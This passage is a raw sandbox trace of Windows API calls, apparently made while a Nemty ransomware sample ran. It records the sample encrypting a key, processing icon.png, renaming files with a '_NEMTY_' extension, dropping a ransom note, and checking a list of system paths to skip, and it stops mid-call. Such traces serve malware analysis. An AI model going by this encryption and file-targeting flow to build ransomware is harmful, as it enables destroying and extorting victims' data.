[0144.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0144.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0144.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0144.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0144.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0144.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0144.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0144.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0144.032] Sleep (dwMilliseconds=0x5) [0144.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x97f3c10, dwHighDateTime=0x1d561e8)) [0144.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x97f3c10, dwHighDateTime=0x1d561e8)) [0144.033] GetLastError () returned 0x12 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.033] GetLastError () returned 0x12 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.033] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0144.033] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0144.033] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0144.033] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="jd+Ew3wGj07KaCZ/skmDUpBL2hGB2Pg9cbggM+awSatOkq/jXr8vXC2X2Ft916BZ\r\nTxnFa4hOtBaYZYOpnQOLg4SnI96z1nRlbNyDG5K/acgkHYBZSgHHtG4klssfJGFI\r\nedhR4ACZDwStCGt7v/2xwqpJ5+6bizPT6W9UKKrEjmrPudmi4n9u3IUrIrpM+3yk\r\ndDTvsWn8o6/qu25MKFRJ5lfwgaOdcVcwp+jXaU7cR7aWQPS70n8OeTLeZX9tTjOJ\r\nvep/p1JGFQESPll53Z5TUoNlH/rgBiLODXuL7WlEDjAjxRnA0ltxAmr/UGHe//Le\r\nWkM/prYtxizBHVnRogVDJg==\r\n", pcchString=0x653ec5c) returned 1 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0144.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0144.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0144.033] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.033] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0144.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0144.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0144.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0144.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.140] CloseHandle (hObject=0xffffffff) returned 0 [0144.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0144.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0144.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0144.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0144.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png._nemty_kgobjgd_")) returned 0 [0144.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0144.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0144.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0144.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0144.141] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="images", cAlternateFileName="")) returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2=".") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="..") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="...") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="windows") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="$RECYCLE.BIN") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="rsa") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="NTDETECT.COM") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="ntldr") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="MSDOS.SYS") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="IO.SYS") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="AUTOEXEC.BAT") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="ntuser.dat") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="desktop.ini") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="CONFIG.SYS") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="RECYCLER") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="BOOTSECT.BAK") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="bootmgr") returned 1 [0144.141] lstrcmpiW (lpString1="images", lpString2="programdata") returned -1 [0144.141] lstrcmpiW (lpString1="images", lpString2="appdata") returned 1 [0144.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0144.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0144.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0144.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0144.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0144.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340048 [0144.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0144.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0144.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0144.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0144.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0144.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0144.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0144.142] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0144.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0144.144] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.144] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0144.145] CloseHandle (hObject=0x1ec) returned 1 [0144.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0144.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0144.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0144.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0144.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0144.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0144.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.145] MultiByteToWideChar (in: CodePage=0x0, 